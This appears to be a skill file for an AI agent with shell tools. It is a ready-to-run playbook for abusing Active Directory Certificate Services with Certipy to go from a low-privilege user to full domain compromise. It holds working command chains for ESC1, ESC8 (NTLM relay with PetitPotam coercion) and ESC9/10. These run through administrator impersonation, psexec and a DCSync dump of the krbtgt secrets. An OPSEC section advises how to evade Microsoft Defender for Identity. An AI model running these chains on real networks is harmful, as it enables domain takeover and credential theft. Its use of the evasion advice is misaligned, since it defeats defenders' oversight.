| name | certipy-esc-chain |
| description | ADCS abuse via Certipy โ find vulnerable templates (ESC1-ESC15), request a certificate, authenticate as the target, dump the krbtgt. Full chain in 4 commands. Covers ESC1 (any SAN), ESC2 (any-purpose EKU), ESC3 (enrollment-agent), ESC4 (vulnerable ACL), ESC8 (NTLM relay to CA), ESC9/10/11/13. |
| allowed-tools | Bash Read Write |
| metadata | {"when_to_use":"certipy adcs ad cs esc1 esc2 esc3 esc4 esc6 esc7 esc8 esc9 esc10 esc11 esc13 certificate template enrollment agent ntlm relay","subdomain":"ad","tags":"ad, adcs, certificate, privilege-escalation","mitre_attack":"T1649, T1078.002"} |
ADCS Abuse via Certipy
certipy (Oliver Lyak / ly4k) is the single best tool for ADCS attack. Full domain compromise from a low-priv user in 4 commands, given a vulnerable template.
1. Find vulnerable templates
certipy find -u 'lowpriv@target.local' -p 'pass' -dc-ip <dc-ip> \
-enabled -vulnerable -text -stdout
If you can't auth, use -username '' -password '' (anonymous LDAP โ sometimes works) or use the local LDAP from a compromised machine.
2. The ESC catalog โ quick reference
| ESC | Misconfiguration | Exploitation primitive |
|---|
| ESC1 | Template allows SAN (Subject Alt Name) + Client Auth EKU + low-priv enrollee | Request cert as any user (-upn administrator@target.local) |
| ESC2 | Template allows Any Purpose EKU | Same as ESC1, any role |
| ESC3 | Template has Certificate Request Agent EKU + low-priv enrollee | Use the cert to request "on behalf of" another user |
| ESC4 | Vulnerable ACL on template (WriteOwner/WriteDacl/GenericAll) | Modify template to make it ESC1, then exploit |
| ESC5 | Vulnerable ACL on PKI objects (CA, OID containers) | Same โ modify, then exploit |
| ESC6 | EDITF_ATTRIBUTESUBJECTALTNAME2 flag on CA | Request ANY template with -upn target |
| ESC7 | Low-priv has Manage CA / Manage Certificates | Approve own requests, issue certs to anyone |
| ESC8 | HTTP-based enrollment endpoint exists | NTLM relay to /certsrv/certfnsh.asp (see ad-coercer) |
| ESC9 | msPKI-Enrollment-Flag lacks STRONG_KEY_PROTECTION_REQUIRED and template has UPN mapping | Spoof UPN, get cert |
| ESC10 | Weak certificate mapping (UPN-only, no SID extension) | Same as ESC9 but for kerberos PKINIT |
| ESC11 | RPC binding without packet integrity | Relay over RPC instead of HTTP |
| ESC13 | Template grants OID group membership (ADCS-managed groups) | Get cert โ become member of high-priv group |
| ESC14 | Specific weak ACE patterns on cert templates | Edit template, ESC1-chain |
| ESC15 | EKUwu โ EKU manipulation on V1 templates | Add Client Auth EKU to a template that lacked it |
3. Exploit ESC1 (the most common)
certipy req -u 'lowpriv@target.local' -p 'pass' -dc-ip <dc-ip> \
-ca 'TARGET-CA' \
-template 'VulnerableTemplate' \
-upn 'administrator@target.local' \
-sid 'S-1-5-21-XXXX-500'
4. Authenticate with the cert
certipy auth -pfx administrator.pfx -username administrator -domain target.local -dc-ip <dc-ip>
impacket-psexec -hashes ':<NT_HASH>' target.local/administrator@dc.target.local
5. DCSync krbtgt (final step)
KRB5CCNAME=administrator.ccache impacket-secretsdump -k -no-pass dc.target.local
impacket-secretsdump -hashes ':<NT_HASH>' target.local/administrator@dc.target.local
ESC8 chain (no vulnerable template, but ADCS Web Enrollment is enabled)
sudo impacket-ntlmrelayx -t http://ca.target.local/certsrv/certfnsh.asp \
-smb2support --adcs --template DomainController
python3 PetitPotam.py <attacker_ip> <dc-ip>
certipy auth -pfx dc.pfx -username 'dc$' -domain target.local -dc-ip <dc-ip>
ESC9/10 chain (UPN mapping abuse)
If you have GenericWrite on a user object (e.g., via low-priv-on-svc-account):
certipy account update -u lowpriv@target.local -p pass \
-user 'victim' -upn 'administrator@target.local'
certipy req -u lowpriv@target.local -p pass -ca TARGET-CA -template User \
-dc-ip <dc-ip>
certipy account update -u lowpriv -p pass -user victim -upn 'victim@target.local'
certipy auth -pfx victim.pfx -domain target.local -dc-ip <dc-ip>
OPSEC
- Microsoft Defender for Identity (MDI) flags ADCS abuse via specific event IDs (4886, 4887, 4768 with cert-based auth).
- Issuing cert to a high-priv account from a low-priv source is one of the most-watched detections.
- For evasion: use legitimate-looking template names; request via the most-common CA in the org; UPN-revert immediately (ESC9/10).
certipy auth uses PKINIT โ leaves a 4768 (TGT request) where Certificate Information field is populated. Distinctive.
References
- "Certified Pre-Owned" โ SpecterOps whitepaper (the original ESC1-ESC8 catalog)
- "Certipy 4.0" release notes (ly4k.github.io) โ adds ESC9-ESC15
- ly4k/Certipy on GitHub โ the canonical tool
- Microsoft KB articles on ADCS hardening (defender lens)